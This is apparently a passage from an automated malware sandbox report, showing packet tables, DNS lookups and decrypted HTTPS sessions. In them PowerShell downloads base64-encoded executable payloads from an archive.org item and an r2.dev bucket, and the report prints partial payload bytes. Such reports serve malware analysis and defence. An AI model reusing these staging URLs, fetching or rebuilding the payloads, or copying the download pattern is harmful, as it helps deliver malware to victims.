Oct 2, 2024 05:22:14.621213913 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.621263027 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.621294022 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.621386051 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.621387005 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.621413946 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.622045040 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.622376919 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.622386932 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.622454882 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.689124107 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.689282894 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.702368975 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.702425003 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.702481031 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.702502012 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.702521086 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.702574015 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.702815056 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.702833891 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.702879906 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.702892065 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.702924013 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.702924013 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.703183889 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.703200102 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.703249931 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.703257084 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.703352928 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.703412056 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.703447104 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.703495026 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.703500032 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.703520060 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.703952074 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.703974962 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.704014063 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.704021931 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.704045057 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.704260111 CEST	443	49705	162.159.140.237	192.168.2.8
Oct 2, 2024 05:22:14.704313040 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.751410007 CEST	49705	443	192.168.2.8	162.159.140.237
Oct 2, 2024 05:22:14.751435995 CEST	443	49705	162.159.140.237	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:22:09.749839067 CEST	56522	53	192.168.2.8	1.1.1.1
Oct 2, 2024 05:22:09.757000923 CEST	53	56522	1.1.1.1	192.168.2.8
Oct 2, 2024 05:22:13.088653088 CEST	60788	53	192.168.2.8	1.1.1.1
Oct 2, 2024 05:22:13.096730947 CEST	53	60788	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 05:22:09.749839067 CEST	192.168.2.8	1.1.1.1	0xe3db	Standard query (0)	ia600100.us.archive.org	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:22:13.088653088 CEST	192.168.2.8	1.1.1.1	0xddf1	Standard query (0)	pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 05:22:09.757000923 CEST	1.1.1.1	192.168.2.8	0xe3db	No error (0)	ia600100.us.archive.org	207.241.227.240	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:22:13.096730947 CEST	1.1.1.1	192.168.2.8	0xddf1	No error (0)	pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	162.159.140.237	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:22:13.096730947 CEST	1.1.1.1	192.168.2.8	0xddf1	No error (0)	pub-26ee9be236b54d0cb1b570a203543b93.r2.dev	172.66.0.235	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ia600100.us.archive.org

pub-26ee9be236b54d0cb1b570a203543b93.r2.dev

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	207.241.227.240	443	3776	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:22:10 UTC	109	OUT	GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1 Host: ia600100.us.archive.org Connection: Keep-Alive
2024-10-02 03:22:10 UTC	606	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 02 Oct 2024 03:22:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2823512 Last-Modified: Wed, 11 Sep 2024 23:50:18 GMT Connection: close ETag: "66e22cba-2b1558" Strict-Transport-Security: max-age=15724800 Expires: Wed, 02 Oct 2024 09:22:10 GMT Cache-Control: max-age=21600 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With Access-Control-Allow-Credentials: true Accept-Ranges: bytes
2024-10-02 03:22:10 UTC	15778	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 42 6f 43 42 62 6f 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 45 59 67 41 41 41 49 41 41 41 41 41 41 41 41 76 6d 55 67 41 41 41 67 41 41 41 41 67 43 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABoCBboAAAAAAAAAAOAADiELATAAAEYgAAAIAAAAAAAAvmUgAAAgAAAAgCAAAABAAAAgAAAAAgA
2024-10-02 03:22:10 UTC	16384	IN	Data Raw: 41 41 41 50 34 4d 45 77 42 46 41 67 41 41 41 41 55 41 41 41 41 31 41 41 41 41 4f 41 41 41 41 41 41 41 45 51 4d 52 46 78 45 49 63 35 73 46 41 41 5a 76 63 51 41 41 43 69 41 42 41 41 41 41 66 73 55 49 41 41 52 37 42 51 6b 41 42 44 6e 4a 2f 2f 2f 2f 4a 69 41 41 41 41 41 41 4f 4c 37 2f 2f 2f 38 41 41 4e 30 66 41 41 41 41 49 41 49 41 41 41 42 2b 78 51 67 41 42 48 73 53 43 51 41 45 4f 73 6e 36 2f 2f 38 6d 49 41 41 41 41 41 41 34 76 76 72 2f 2f 78 45 44 62 79 73 41 41 41 6f 57 50 6f 38 41 41 41 41 67 41 51 41 41 41 48 37 46 43 41 41 45 65 77 73 4a 41 41 51 36 6e 66 72 2f 2f 79 59 67 41 51 41 41 41 44 69 53 2b 76 2f 2f 45 67 63 6f 63 41 41 41 43 68 4d 49 49 41 55 41 41 41 42 2b 78 51 67 41 42 48 76 30 43 41 41 45 4f 6e 58 36 2f 2f 38 6d 49 41 59 41 41 41 41 34 61 Data Ascii: AAAP4MEwBFAgAAAAUAAAA1AAAAOAAAAAAAEQMRFxEIc5sFAAZvcQAACiABAAAAfsUIAAR7BQkABDnJ////JiAAAAAAOL7///8AAN0fAAAAIAIAAAB+xQgABHsSCQAEOsn6//8mIAAAAAA4vvr//xEDbysAAAoWPo8AAAAgAQAAAH7FCAAEewsJAAQ6nfr//yYgAQAAADiS+v//EgcocAAAChMIIAUAAAB+xQgABHv0CAAEOnX6//8mIAYAAAA4a
2024-10-02 03:22:10 UTC	16384	IN	Data Raw: 2f 2f 2f 77 41 52 42 47 39 49 49 77 41 47 62 33 51 41 41 41 6f 54 42 53 41 46 41 41 41 41 4f 44 48 2f 2f 2f 38 41 4f 4e 73 41 41 41 41 67 43 41 41 41 41 44 67 45 41 41 41 41 2f 67 77 4d 41 45 55 67 41 41 41 41 4f 51 49 41 41 47 34 43 41 41 42 61 41 51 41 41 66 51 41 41 41 4d 73 43 41 41 43 4d 41 51 41 41 46 41 45 41 41 4a 77 44 41 41 43 55 41 41 41 41 41 51 4d 41 41 4c 77 41 41 41 41 57 41 41 41 41 33 41 49 41 41 4d 63 42 41 41 43 6a 41 51 41 41 53 67 49 41 41 41 55 41 41 41 43 62 41 67 41 41 58 67 41 41 41 49 45 42 41 41 41 38 41 51 41 41 61 77 45 41 41 42 30 44 41 41 44 38 41 41 41 41 66 77 49 41 41 4f 30 42 41 41 44 68 41 41 41 41 53 77 45 41 41 44 51 41 41 41 42 46 41 41 41 41 49 51 41 41 41 42 4d 43 41 41 41 34 4e 41 49 41 41 42 45 49 4f 6a 30 44 41 Data Ascii: ///wARBG9IIwAGb3QAAAoTBSAFAAAAODH///8AONsAAAAgCAAAADgEAAAA/gwMAEUgAAAAOQIAAG4CAABaAQAAfQAAAMsCAACMAQAAFAEAAJwDAACUAAAAAQMAALwAAAAWAAAA3AIAAMcBAACjAQAASgIAAAUAAACbAgAAXgAAAIEBAAA8AQAAawEAAB0DAAD8AAAAfwIAAO0BAADhAAAASwEAADQAAABFAAAAIQAAABMCAAA4NAIAABEIOj0DA
2024-10-02 03:22:10 UTC	16384	IN	Data Raw: 38 52 43 53 68 31 41 67 41 47 62 7a 49 6a 41 41 59 52 43 57 2f 47 49 67 41 47 4b 48 59 43 41 41 5a 76 4d 69 4d 41 42 69 68 30 41 67 41 47 45 77 38 67 43 51 41 41 41 48 37 46 43 41 41 45 65 38 49 49 41 41 51 36 7a 50 37 2f 2f 79 59 67 44 51 41 41 41 44 6a 42 2f 76 2f 2f 45 51 49 54 41 79 41 49 41 41 41 41 2f 67 34 4b 41 44 69 72 2f 76 2f 2f 4f 42 73 42 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 37 4d 49 41 41 51 36 6c 76 37 2f 2f 79 59 67 41 41 41 41 41 44 69 4c 2f 76 2f 2f 45 51 45 67 70 30 47 63 33 79 41 44 41 41 41 41 59 79 42 63 44 35 4f 49 59 58 37 46 43 41 41 45 65 38 51 49 41 41 52 68 4b 46 51 43 41 41 59 6f 59 77 49 41 42 68 4d 43 49 42 34 41 41 41 41 34 56 2f 37 2f 2f 78 45 48 4f 6c 6f 42 41 41 41 67 43 67 41 41 41 48 37 46 43 41 41 45 65 Data Ascii: 8RCSh1AgAGbzIjAAYRCW/GIgAGKHYCAAZvMiMABih0AgAGEw8gCQAAAH7FCAAEe8IIAAQ6zP7//yYgDQAAADjB/v//EQITAyAIAAAA/g4KADir/v//OBsBAAAgAAAAAH7FCAAEe7MIAAQ6lv7//yYgAAAAADiL/v//EQEgp0Gc3yADAAAAYyBcD5OIYX7FCAAEe8QIAARhKFQCAAYoYwIABhMCIB4AAAA4V/7//xEHOloBAAAgCgAAAH7FCAAEe
2024-10-02 03:22:10 UTC	16384	IN	Data Raw: 41 41 4f 4d 37 38 2f 2f 38 52 41 54 6b 71 2f 66 2f 2f 49 41 63 41 41 41 42 2b 78 51 67 41 42 48 76 6b 43 41 41 45 4f 72 50 38 2f 2f 38 6d 49 41 49 41 41 41 41 34 71 50 7a 2f 2f 77 41 41 41 52 41 41 41 41 49 41 71 77 44 35 70 41 46 33 41 41 41 41 41 43 5a 2b 6f 51 41 41 42 42 54 2b 41 53 6f 41 41 42 70 2b 6f 51 41 41 42 43 6f 41 4b 76 34 4a 41 41 42 76 5a 51 41 41 43 69 6f 41 4b 76 34 4a 41 41 42 76 54 51 41 41 43 69 6f 41 4c 67 44 2b 43 51 41 41 4b 50 77 6c 41 41 59 71 4c 67 44 2b 43 51 41 41 4b 4c 45 45 41 41 59 71 4b 76 34 4a 41 41 42 76 2b 51 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 2b 41 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 45 43 4d 41 42 69 6f 41 4c 67 44 2b 43 51 41 41 4b 43 55 42 41 41 6f 71 48 67 41 6f 73 41 51 41 42 69 70 4b 2f 67 6b 41 41 Data Ascii: AAOM78//8RATkq/f//IAcAAAB+xQgABHvkCAAEOrP8//8mIAIAAAA4qPz//wAAARAAAAIAqwD5pAF3AAAAACZ+oQAABBT+ASoAABp+oQAABCoAKv4JAABvZQAACioAKv4JAABvTQAACioALgD+CQAAKPwlAAYqLgD+CQAAKLEEAAYqKv4JAABv+QIABioAKv4JAABv+AIABioAKv4JAABvECMABioALgD+CQAAKCUBAAoqHgAosAQABipK/gkAA
2024-10-02 03:22:10 UTC	16384	IN	Data Raw: 6f 49 41 41 51 36 59 50 2f 2f 2f 79 59 67 43 41 41 41 41 44 68 56 2f 2f 2f 2f 4f 47 30 41 41 41 41 67 42 77 41 41 41 48 37 46 43 41 41 45 65 37 67 49 41 41 51 36 50 50 2f 2f 2f 79 59 67 42 41 41 41 41 44 67 78 2f 2f 2f 2f 41 41 49 6f 43 77 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 75 67 67 41 42 44 6b 57 2f 2f 2f 2f 4a 69 41 42 41 41 41 41 4f 41 76 2f 2f 2f 38 41 49 49 66 62 73 78 73 67 6d 4f 66 75 4f 6c 67 67 64 4f 74 35 55 57 46 2b 78 51 67 41 42 48 73 43 43 51 41 45 59 53 67 37 41 77 41 47 4b 44 77 44 41 41 5a 36 42 47 39 67 41 41 41 4b 46 79 68 76 41 77 41 47 45 77 49 67 42 67 41 41 41 48 37 46 43 41 41 45 65 37 30 49 41 41 51 36 77 66 37 2f 2f 79 59 67 43 51 41 41 41 44 69 32 2f 76 2f 2f 41 41 51 55 2f 67 45 54 41 53 41 44 41 41 41 41 4f Data Ascii: oIAAQ6YP///yYgCAAAADhV////OG0AAAAgBwAAAH7FCAAEe7gIAAQ6PP///yYgBAAAADgx////AAIoCwMABiACAAAAfsUIAAR7uggABDkW////JiABAAAAOAv///8AIIfbsxsgmOfuOlggdOt5UWF+xQgABHsCCQAEYSg7AwAGKDwDAAZ6BG9gAAAKFyhvAwAGEwIgBgAAAH7FCAAEe70IAAQ6wf7//yYgCQAAADi2/v//AAQU/gETASADAAAAO
2024-10-02 03:22:10 UTC	16384	IN	Data Raw: 41 41 4f 4b 37 2f 2f 2f 38 52 41 44 70 2f 41 41 41 41 49 41 51 41 41 41 41 34 6e 66 2f 2f 2f 78 45 43 4f 71 49 41 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 38 4d 49 41 41 51 36 67 76 2f 2f 2f 79 59 67 41 41 41 41 41 44 68 33 2f 2f 2f 2f 41 41 49 6f 70 41 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 76 67 67 41 42 44 70 63 2f 2f 2f 2f 4a 69 41 44 41 41 41 41 4f 46 48 2f 2f 2f 38 41 4b 67 41 44 46 43 69 79 41 77 41 47 45 77 41 67 42 51 41 41 41 44 67 37 2f 2f 2f 2f 4f 44 41 41 41 41 41 67 43 41 41 41 41 50 34 4f 41 51 41 34 4a 50 2f 2f 2f 77 41 67 4a 47 76 43 36 53 41 58 47 50 4f 77 59 58 37 46 43 41 41 45 65 38 41 49 41 41 52 68 4b 4b 30 44 41 41 59 6f 73 51 51 41 42 6e 6f 43 65 37 4d 41 41 41 51 54 41 69 41 48 41 41 41 41 4f 50 54 2b 2f Data Ascii: AAOK7///8RADp/AAAAIAQAAAA4nf///xECOqIAAAAgAAAAAH7FCAAEe8MIAAQ6gv///yYgAAAAADh3////AAIopAMABiACAAAAfsUIAAR7vggABDpc////JiADAAAAOFH///8AKgADFCiyAwAGEwAgBQAAADg7////ODAAAAAgCAAAAP4OAQA4JP///wAgJGvC6SAXGPOwYX7FCAAEe8AIAARhKK0DAAYosQQABnoCe7MAAAQTAiAHAAAAOPT+/
2024-10-02 03:22:10 UTC	16384	IN	Data Raw: 4d 41 41 41 45 6f 38 67 4d 41 42 69 6a 7a 41 77 41 47 45 78 51 67 42 51 41 41 41 48 37 46 43 41 41 45 65 78 49 4a 41 41 51 36 42 65 66 2f 2f 79 59 67 41 51 41 41 41 44 6a 36 35 76 2f 2f 41 41 4b 6c 6c 51 41 41 41 58 4f 4d 41 51 41 4b 6a 4a 63 41 41 41 45 54 41 79 41 67 41 41 41 41 4f 4e 33 6d 2f 2f 38 41 45 51 48 51 43 67 41 41 41 53 6a 79 41 77 41 47 4b 50 4d 44 41 41 59 54 48 79 41 4b 41 41 41 41 4f 4c 2f 6d 2f 2f 38 34 73 4f 2f 2f 2f 79 41 4c 41 41 41 41 66 73 55 49 41 41 52 37 33 77 67 41 42 44 71 6d 35 76 2f 2f 4a 69 42 4a 41 41 41 41 4f 4a 76 6d 2f 2f 38 34 32 50 72 2f 2f 79 42 32 41 41 41 41 4f 49 7a 6d 2f 2f 38 41 41 6d 38 6c 41 41 41 4b 4b 4b 49 41 41 41 6f 6f 41 41 51 41 42 6f 79 57 41 41 41 42 45 77 4d 67 44 77 41 41 41 50 34 4f 4c 67 41 34 59 Data Ascii: MAAAEo8gMABijzAwAGExQgBQAAAH7FCAAEexIJAAQ6Bef//yYgAQAAADj65v//AAKllQAAAXOMAQAKjJcAAAETAyAgAAAAON3m//8AEQHQCgAAASjyAwAGKPMDAAYTHyAKAAAAOL/m//84sO///yALAAAAfsUIAAR73wgABDqm5v//JiBJAAAAOJvm//842Pr//yB2AAAAOIzm//8AAm8lAAAKKKIAAAooAAQABoyWAAABEwMgDwAAAP4OLgA4Y
2024-10-02 03:22:10 UTC	16384	IN	Data Raw: 45 41 41 41 42 2b 78 51 67 41 42 48 76 71 43 41 41 45 4f 53 37 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 49 2f 2f 2f 2f 77 41 54 4d 41 51 41 52 67 41 41 41 4d 73 41 41 42 45 41 41 67 4d 45 4b 50 30 42 41 41 6f 41 41 6e 76 38 41 51 41 4b 4f 68 67 41 41 41 41 44 46 6a 38 52 41 41 41 41 41 77 49 6f 2f 67 45 41 43 76 34 43 46 76 34 42 4f 41 45 41 41 41 41 57 43 67 59 35 45 41 41 41 41 41 41 43 65 2f 51 42 41 41 6f 44 42 47 2f 65 41 51 41 4b 41 41 41 71 41 41 41 54 4d 41 51 41 6c 51 45 41 41 41 51 41 41 42 45 67 41 77 41 41 41 50 34 4f 41 41 41 34 41 41 41 41 41 50 34 4d 41 41 42 46 43 77 41 41 41 4b 77 41 41 41 43 48 41 41 41 41 30 77 41 41 41 4f 49 41 41 41 42 55 41 41 41 41 4b 51 41 41 41 41 55 41 41 41 42 45 41 41 41 41 47 67 45 41 41 50 51 41 41 41 43 71 41 Data Ascii: EAAAB+xQgABHvqCAAEOS7///8mIAEAAAA4I////wATMAQARgAAAMsAABEAAgMEKP0BAAoAAnv8AQAKOhgAAAADFj8RAAAAAwIo/gEACv4CFv4BOAEAAAAWCgY5EAAAAAACe/QBAAoDBG/eAQAKAAAqAAATMAQAlQEAAAQAABEgAwAAAP4OAAA4AAAAAP4MAABFCwAAAKwAAACHAAAA0wAAAOIAAABUAAAAKQAAAAUAAABEAAAAGgEAAPQAAACqA
2024-10-02 03:22:10 UTC	16384	IN	Data Raw: 41 44 41 6e 74 45 41 67 41 4b 2f 67 51 4c 42 7a 6b 67 41 41 41 41 41 41 4a 37 52 51 49 41 43 67 4d 43 65 30 55 43 41 41 6f 44 46 31 67 43 65 30 51 43 41 41 6f 44 57 53 6a 51 41 51 41 4b 41 41 41 43 65 30 55 43 41 41 6f 44 42 4b 51 31 41 41 41 62 41 67 4a 37 52 41 49 41 43 68 64 59 66 55 51 43 41 41 6f 71 41 41 41 54 4d 41 4d 41 54 77 41 41 41 41 4d 42 41 42 45 41 41 6e 74 45 41 67 41 4b 43 6a 67 75 41 41 41 41 41 41 59 58 57 51 6f 43 65 30 55 43 41 41 6f 47 6f 7a 55 41 41 42 75 4d 4e 51 41 41 47 77 4f 4d 4e 51 41 41 47 2f 34 42 43 77 63 35 43 41 41 41 41 41 41 47 44 44 67 54 41 41 41 41 41 41 59 57 2f 67 49 4e 43 54 72 48 2f 2f 2f 2f 46 51 77 34 41 41 41 41 41 41 67 71 41 42 4d 77 41 77 41 74 41 41 41 41 62 41 41 41 45 51 41 43 41 79 6a 47 41 51 41 4b 43 Data Ascii: ADAntEAgAK/gQLBzkgAAAAAAJ7RQIACgMCe0UCAAoDF1gCe0QCAAoDWSjQAQAKAAACe0UCAAoDBKQ1AAAbAgJ7RAIAChdYfUQCAAoqAAATMAMATwAAAAMBABEAAntEAgAKCjguAAAAAAYXWQoCe0UCAAoGozUAABuMNQAAGwOMNQAAG/4BCwc5CAAAAAAGDDgTAAAAAAYW/gINCTrH////FQw4AAAAAAgqABMwAwAtAAAAbAAAEQACAyjGAQAKC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49705	162.159.140.237	443	3776	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:22:13 UTC	102	OUT	GET /mmili.txt HTTP/1.1 Host: pub-26ee9be236b54d0cb1b570a203543b93.r2.dev Connection: Keep-Alive
2024-10-02 03:22:14 UTC	285	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:22:14 GMT Content-Type: text/plain Content-Length: 327680 Connection: close Accept-Ranges: bytes ETag: "212bd8b6f43f2ddb04096efd4b03a531" Last-Modified: Wed, 18 Sep 2024 05:52:50 GMT Server: cloudflare CF-RAY: 8cc1911b4b120ca9-EWR
2024-10-02 03:22:14 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-02 03:22:14 UTC	1369	IN	Data Raw: 39 57 61 7a 4a 58 5a 32 42 53 65 30 6c 47 64 75 56 47 5a 4a 6c 48 62 69 31 57 5a 7a 4e 58 59 38 41 43 49 4b 30 67 50 69 41 6a 4c 78 49 53 50 75 39 57 61 7a 4a 58 5a 57 52 33 63 6c 5a 57 61 75 46 57 62 67 49 53 4d 32 35 53 62 7a 46 6d 4f 74 39 32 59 74 51 6e 5a 76 4e 33 62 79 4e 57 61 74 31 79 63 68 31 57 5a 6f 4e 32 63 36 34 6d 63 31 4a 53 50 7a 35 47 62 74 68 48 49 35 78 6d 59 74 56 32 63 7a 46 47 50 4b 30 67 50 2f 49 79 63 6c 6c 6e 49 39 55 6d 62 76 78 57 59 6b 35 57 59 30 4e 48 49 69 67 54 4c 47 52 56 56 69 30 7a 5a 75 6c 47 5a 76 4e 6d 62 6c 42 69 49 77 34 53 4d 69 30 6a 62 76 6c 32 63 79 56 6d 64 67 77 57 62 34 39 44 50 2f 75 37 37 41 41 41 41 77 41 67 4c 41 41 44 41 75 41 41 4d 41 34 43 41 78 41 41 41 41 34 47 41 76 42 51 61 41 4d 48 41 79 42 51 5a Data Ascii: 9WazJXZ2BSe0lGduVGZJlHbi1WZzNXY8ACIK0gPiAjLxISPu9WazJXZWR3clZWauFWbgISM25SbzFmOt92YtQnZvN3byNWat1ych1WZoN2c64mc1JSPz5GbthHI5xmYtV2czFGPK0gP/IycllnI9UmbvxWYk5WY0NHIigTLGRVVi0zZulGZvNmblBiIw4SMi0jbvl2cyVmdgwWb49DP/u77AAAAwAgLAADAuAAMA4CAxAAAA4GAvBQaAMHAyBQZ
2024-10-02 03:22:14 UTC	1369	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2024-10-02 03:22:14 UTC	1369	IN	Data Raw: 45 42 55 7a 67 53 55 42 43 78 4d 6f 45 41 41 53 42 74 4d 6f 45 41 41 53 42 64 4d 6f 45 52 4a 52 41 43 41 43 43 56 4d 6f 45 56 4d 6f 45 42 49 41 49 4a 67 41 30 42 4b 52 41 68 44 59 45 56 55 58 45 31 46 52 4b 44 4b 52 4a 44 4b 42 30 42 4b 52 49 44 4b 52 48 44 4b 52 42 64 6b 68 45 5a 4d 6f 45 56 4d 6f 45 56 4d 6f 45 4f 63 77 4b 39 4c 6f 45 42 43 6f 45 52 4a 52 41 44 41 79 43 74 4c 59 45 52 4d 59 45 52 4d 59 45 42 4d 41 49 4d 6f 51 2b 43 4b 52 41 43 41 79 42 35 4c 6f 45 47 51 51 39 43 4b 52 48 41 41 69 42 4e 4d 6f 45 42 4d 6f 45 42 41 41 43 46 43 6f 45 41 41 51 42 49 67 51 41 43 41 53 42 46 4d 59 45 41 41 53 42 4a 4d 6f 45 41 41 51 42 49 55 77 67 52 55 77 67 52 55 77 67 52 55 77 67 52 6b 68 45 5a 49 52 41 44 4b 52 